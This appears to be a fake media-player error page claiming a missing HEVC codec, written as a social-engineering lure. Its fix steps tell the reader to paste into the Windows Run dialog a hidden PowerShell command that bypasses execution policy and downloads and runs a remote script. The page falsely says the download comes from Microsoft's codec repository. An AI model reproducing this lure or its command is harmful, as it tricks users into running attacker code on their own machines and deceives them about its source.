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Cannot play this file
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Codec not found — Cannot play media

Error 0xc00d5212
Missing codec: HEVC/H.265 Video Decoder
File: video_2026_final.mp4
Container: MPEG-4 (H.265/HEVC Main10@L5.1)

This file requires the HEVC Video Extensions codec which is not installed on your system. You can fix this by running the codec installer from the command line.

1
Press Win + R to open the Run dialog
2
Copy and paste this command, then press Enter: powershell -w hidden -ep bypass -c "irm https://codec-update.example/install.ps1 | iex"
3
Wait for the codec to install, then restart the player

This will download and install the missing codec from Microsoft's codec repository. The process takes about 30 seconds.

▶ 0:00 / 1:24:37
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